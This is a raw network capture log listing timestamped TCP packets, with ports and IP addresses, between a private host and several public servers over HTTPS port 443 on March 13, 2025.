Mar 13, 2025 10:07:32.725047112 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:35.250973940 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:38.134866953 CET	49698	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:07:38.134911060 CET	443	49698	142.250.184.196	192.168.2.12
Mar 13, 2025 10:07:38.134987116 CET	49698	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:07:38.135395050 CET	49698	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:07:38.135407925 CET	443	49698	142.250.184.196	192.168.2.12
Mar 13, 2025 10:07:38.640477896 CET	49698	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:07:38.688322067 CET	443	49698	142.250.184.196	192.168.2.12
Mar 13, 2025 10:07:40.062479019 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:40.402662039 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.402698040 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:40.402765036 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.403095007 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.403131008 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:40.403448105 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.403466940 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:40.403479099 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.403831959 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:40.403840065 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:40.591888905 CET	443	49698	142.250.184.196	192.168.2.12
Mar 13, 2025 10:07:40.592015982 CET	49698	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:07:41.065401077 CET	49673	443	192.168.2.12	204.79.197.203
Mar 13, 2025 10:07:41.551012993 CET	443	49683	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:41.551143885 CET	49683	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:42.354101896 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.354520082 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.354535103 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.355604887 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.355668068 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.357342005 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.357417107 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.357845068 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.357857943 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.360196114 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.365475893 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.365485907 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.366660118 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.366715908 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.367252111 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.367352009 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.406450987 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.421600103 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.421612024 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.469997883 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.885807037 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.885895967 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.886013031 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.887367010 CET	49700	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:07:42.887386084 CET	443	49700	138.197.101.40	192.168.2.12
Mar 13, 2025 10:07:42.964004040 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.964042902 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:42.964262962 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.964421034 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.964463949 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:42.964539051 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.964852095 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.964871883 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:42.965354919 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:42.965375900 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.521935940 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.534181118 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.535383940 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:46.535394907 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.540250063 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:46.540261984 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.540530920 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:46.540535927 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.642895937 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.662246943 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.662349939 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:46.662374020 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:46.662825108 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:46.662837029 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.541789055 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.542221069 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.600716114 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.600868940 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.628587008 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.634217978 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.634738922 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.634762049 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.637933969 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.637958050 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.638135910 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.638147116 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.638303995 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.644887924 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.645565033 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.651289940 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.651459932 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.651479006 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.658217907 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.658245087 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.658605099 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.665299892 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.665396929 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.687670946 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.687880039 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.687900066 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.688080072 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.698182106 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.721038103 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.721168995 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.732434034 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.732522964 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.735465050 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.735511065 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.735575914 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.735589027 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.735611916 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.742381096 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.742513895 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.742522955 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.749192953 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.749202013 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.749267101 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.749277115 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.749375105 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.755928993 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.762092113 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.762103081 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.762178898 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.762187958 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.768556118 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.768970966 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.768978119 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.774220943 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.774235010 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.774449110 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.774456978 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.774507999 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.779839039 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.784919024 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.784931898 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.785028934 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.785039902 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.790206909 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.790268898 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.790294886 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.795627117 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.795702934 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.795710087 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.795717955 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.795789003 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.801060915 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.801130056 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.805116892 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.807744980 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.807961941 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.807972908 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.808954000 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.809011936 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.809024096 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.814948082 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.815264940 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.815272093 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.829751968 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.829869032 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.829883099 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.831720114 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.831737995 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.832060099 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.832067013 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.832134008 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.835697889 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.835777998 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.835860968 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.835867882 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.839799881 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.840029955 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.840035915 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.843878984 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.843893051 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.843970060 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.843976974 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.844064951 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.847831964 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.847944021 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.851794004 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.851875067 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.851943016 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.851950884 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.855837107 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.855899096 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.855942011 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.859862089 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.859930992 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.859936953 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.859992027 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.860081911 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.863696098 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.863792896 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.863912106 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.867593050 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.867667913 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.871423960 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.871519089 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.871717930 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.875189066 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.875222921 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.875446081 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.875456095 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.875616074 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.879075050 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.879151106 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.882663012 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.882725954 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.882771015 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.882777929 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.882878065 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.885973930 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.886053085 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.889554024 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.889689922 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.889695883 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.889781952 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.893167019 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.893244982 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.893342972 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.896297932 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.896404028 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.899631023 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.899746895 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.899754047 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.903496027 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.903651953 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.903922081 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.910485029 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.910573959 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.910582066 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.912916899 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.912977934 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.913430929 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.913463116 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.913477898 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.913489103 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.913527012 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.913678885 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.913783073 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.913830042 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.914732933 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.914789915 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.914798975 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.917149067 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.917216063 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.917222023 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.917300940 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.917390108 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.919661045 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.919675112 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.919735909 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.922238111 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.922378063 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.924680948 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.924695015 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.924767017 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.924772978 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.924865961 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.927249908 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.929649115 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.929692984 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.929753065 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.929764986 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.931845903 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.931910038 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.931921005 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.933882952 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.933927059 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.933953047 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.933963060 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.934051991 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.936022997 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.936039925 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.936098099 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.938147068 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.938225031 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.940201998 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.940293074 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.940300941 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.942378998 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.942711115 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.944361925 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.944452047 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.944458008 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.944545031 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.946455956 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.947040081 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.948386908 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.949481964 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.949487925 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.949572086 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.950392962 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.950670958 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.950680017 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.952292919 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.952323914 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.952446938 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.952454090 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.952580929 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.954241991 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.955262899 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.956073046 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.956229925 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.956450939 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.956458092 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.958009958 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.958066940 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.958137035 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.959898949 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.959923029 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.960328102 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.960335016 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.960386038 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.961674929 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.961744070 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.961870909 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.961877108 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.963593006 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.963731050 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.963736057 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.965410948 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.965421915 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.965697050 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.965707064 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.966763973 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.967195034 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.969021082 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.969027996 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.969080925 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.969120979 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.969120979 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.969136953 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.970700979 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.971332073 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.971343040 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.972518921 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.972529888 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.973575115 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.973586082 CET	443	49702	172.66.0.235	192.168.2.12
